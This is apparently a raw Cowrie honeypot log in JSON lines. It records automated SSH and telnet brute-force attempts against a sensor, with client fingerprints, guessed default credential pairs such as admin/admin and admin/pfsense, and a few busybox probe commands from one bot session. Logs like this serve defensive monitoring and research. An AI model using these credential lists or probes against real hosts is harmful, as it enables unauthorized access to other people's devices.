{"eventid":"cowrie.session.closed","duration":1.5011191368103027,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:59:41.242707Z","src_ip":"45.205.1.36","session":"1359337d3b62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.205.1.36","src_port":48634,"dst_ip":"10.17.0.5","dst_port":23,"session":"0dfad25a87f5","protocol":"telnet","message":"New connection: 45.205.1.36:48634 (10.17.0.5:23) [session: 0dfad25a87f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:59:41.352778Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:59:42.434278Z","src_ip":"45.205.1.36","session":"0dfad25a87f5","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:59:42.481899Z","src_ip":"45.205.1.36","session":"0dfad25a87f5","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"echo SHELL_TEST","message":"CMD: echo SHELL_TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:59:43.435573Z","src_ip":"45.205.1.36","session":"0dfad25a87f5","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox TEST","message":"CMD: /bin/busybox TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:59:43.935287Z","src_ip":"45.205.1.36","session":"0dfad25a87f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":61271,"dst_ip":"159.203.135.109","dst_port":22,"session":"13159b67e695","protocol":"ssh","message":"New connection: 220.247.224.226:61271 (159.203.135.109:22) [session: 13159b67e695]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:59:44.388684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:59:44.393724Z","src_ip":"220.247.224.226","session":"13159b67e695","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc","message":"CMD: cat /proc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:59:44.535370Z","src_ip":"45.205.1.36","session":"0dfad25a87f5","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:59:44.614327Z","src_ip":"220.247.224.226","session":"13159b67e695","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"./","message":"CMD: ./","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:59:45.136956Z","src_ip":"45.205.1.36","session":"0dfad25a87f5","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"./ ","message":"Command not found: ./ ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:59:45.140957Z","src_ip":"45.205.1.36","session":"0dfad25a87f5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"jvc","message":"login attempt [admin/jvc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:59:45.529610Z","src_ip":"220.247.224.226","session":"13159b67e695","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","size":565,"shasum":"8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","duplicate":true,"duration":"3.3","message":"Closing TTY Log: var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860 after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:59:45.737196Z","src_ip":"45.205.1.36","session":"0dfad25a87f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.395771026611328,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:59:45.748472Z","src_ip":"45.205.1.36","session":"0dfad25a87f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:59:46.754581Z","src_ip":"220.247.224.226","session":"13159b67e695","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":43018,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f8504793357","protocol":"ssh","message":"New connection: 193.32.162.145:43018 (10.17.0.5:22) [session: 7f8504793357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:00:09.611665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:00:09.617968Z","src_ip":"193.32.162.145","session":"7f8504793357","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:00:09.719526Z","src_ip":"193.32.162.145","session":"7f8504793357","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"geyser","message":"login attempt [solana/geyser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:00:10.024100Z","src_ip":"193.32.162.145","session":"7f8504793357","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:00:11.135212Z","src_ip":"193.32.162.145","session":"7f8504793357","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.187.71.114","src_port":49812,"dst_ip":"10.17.0.5","dst_port":22,"session":"5886365c0491","protocol":"ssh","message":"New connection: 200.187.71.114:49812 (10.17.0.5:22) [session: 5886365c0491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:00:12.297150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:00:12.302362Z","src_ip":"200.187.71.114","session":"5886365c0491","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:00:12.417848Z","src_ip":"200.187.71.114","session":"5886365c0491","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qlserver","password":"qlserver","message":"login attempt [qlserver/qlserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:00:12.907367Z","src_ip":"200.187.71.114","session":"5886365c0491","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:00:14.028543Z","src_ip":"200.187.71.114","session":"5886365c0491","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.124.140.33","src_port":50924,"dst_ip":"159.203.135.109","dst_port":23,"session":"7dcf00e89957","protocol":"telnet","message":"New connection: 154.124.140.33:50924 (159.203.135.109:23) [session: 7dcf00e89957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:00:19.796050Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":38420,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b9d68835be4","protocol":"telnet","message":"New connection: 174.138.46.234:38420 (159.203.135.109:23) [session: 9b9d68835be4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:00:31.440739Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":60804,"dst_ip":"10.17.0.5","dst_port":22,"session":"c26518c04e47","protocol":"ssh","message":"New connection: 202.125.94.71:60804 (10.17.0.5:22) [session: c26518c04e47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:00:35.610305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:00:35.615260Z","src_ip":"202.125.94.71","session":"c26518c04e47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:00:35.878079Z","src_ip":"202.125.94.71","session":"c26518c04e47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pfsense","message":"login attempt [admin/pfsense] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:00:36.959886Z","src_ip":"202.125.94.71","session":"c26518c04e47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:00:38.225414Z","src_ip":"202.125.94.71","session":"c26518c04e47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.173500299453735,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:00:38.614101Z","src_ip":"174.138.46.234","session":"9b9d68835be4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":54521,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4ab02e8db8e","protocol":"ssh","message":"New connection: 220.247.224.226:54521 (159.203.135.109:22) [session: f4ab02e8db8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:00:46.916067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:00:46.921477Z","src_ip":"220.247.224.226","session":"f4ab02e8db8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:00:47.146310Z","src_ip":"220.247.224.226","session":"f4ab02e8db8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd123!","message":"login attempt [ubuntu/P@ssw0rd123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:00:48.078394Z","src_ip":"220.247.224.226","session":"f4ab02e8db8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:00:49.307786Z","src_ip":"220.247.224.226","session":"f4ab02e8db8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":57914,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ac5ce191991","protocol":"telnet","message":"New connection: 161.97.105.174:57914 (159.203.135.109:23) [session: 1ac5ce191991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:01:00.669840Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":57928,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ee8d51f5b8c","protocol":"telnet","message":"New connection: 161.97.105.174:57928 (159.203.135.109:23) [session: 0ee8d51f5b8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:01:05.912027Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.187.71.114","src_port":38216,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8041ac2dce0","protocol":"ssh","message":"New connection: 200.187.71.114:38216 (10.17.0.5:22) [session: f8041ac2dce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:01:11.503010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:01:11.507958Z","src_ip":"200.187.71.114","session":"f8041ac2dce0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:01:11.626839Z","src_ip":"200.187.71.114","session":"f8041ac2dce0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"loy","password":"deploy","message":"login attempt [loy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:01:12.117910Z","src_ip":"200.187.71.114","session":"f8041ac2dce0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":55054,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8ff3a3249c6","protocol":"telnet","message":"New connection: 161.97.105.174:55054 (159.203.135.109:23) [session: e8ff3a3249c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:01:12.719819Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:01:13.236227Z","src_ip":"200.187.71.114","session":"f8041ac2dce0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.35119915008545,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:01:32.020901Z","src_ip":"161.97.105.174","session":"1ac5ce191991","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":53648,"dst_ip":"159.203.135.109","dst_port":23,"session":"48e57669cf98","protocol":"telnet","message":"New connection: 161.97.105.174:53648 (159.203.135.109:23) [session: 48e57669cf98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:01:35.375036Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":39946,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd214ee7bbfa","protocol":"ssh","message":"New connection: 202.125.94.71:39946 (10.17.0.5:22) [session: bd214ee7bbfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:01:39.131126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:01:39.135569Z","src_ip":"202.125.94.71","session":"bd214ee7bbfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.107.209","src_port":59402,"dst_ip":"10.17.0.5","dst_port":22,"session":"0deb3f9541f9","protocol":"ssh","message":"New connection: 14.103.107.209:59402 (10.17.0.5:22) [session: 0deb3f9541f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:01:39.197452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:01:39.202542Z","src_ip":"14.103.107.209","session":"0deb3f9541f9","protocol":"ssh"}
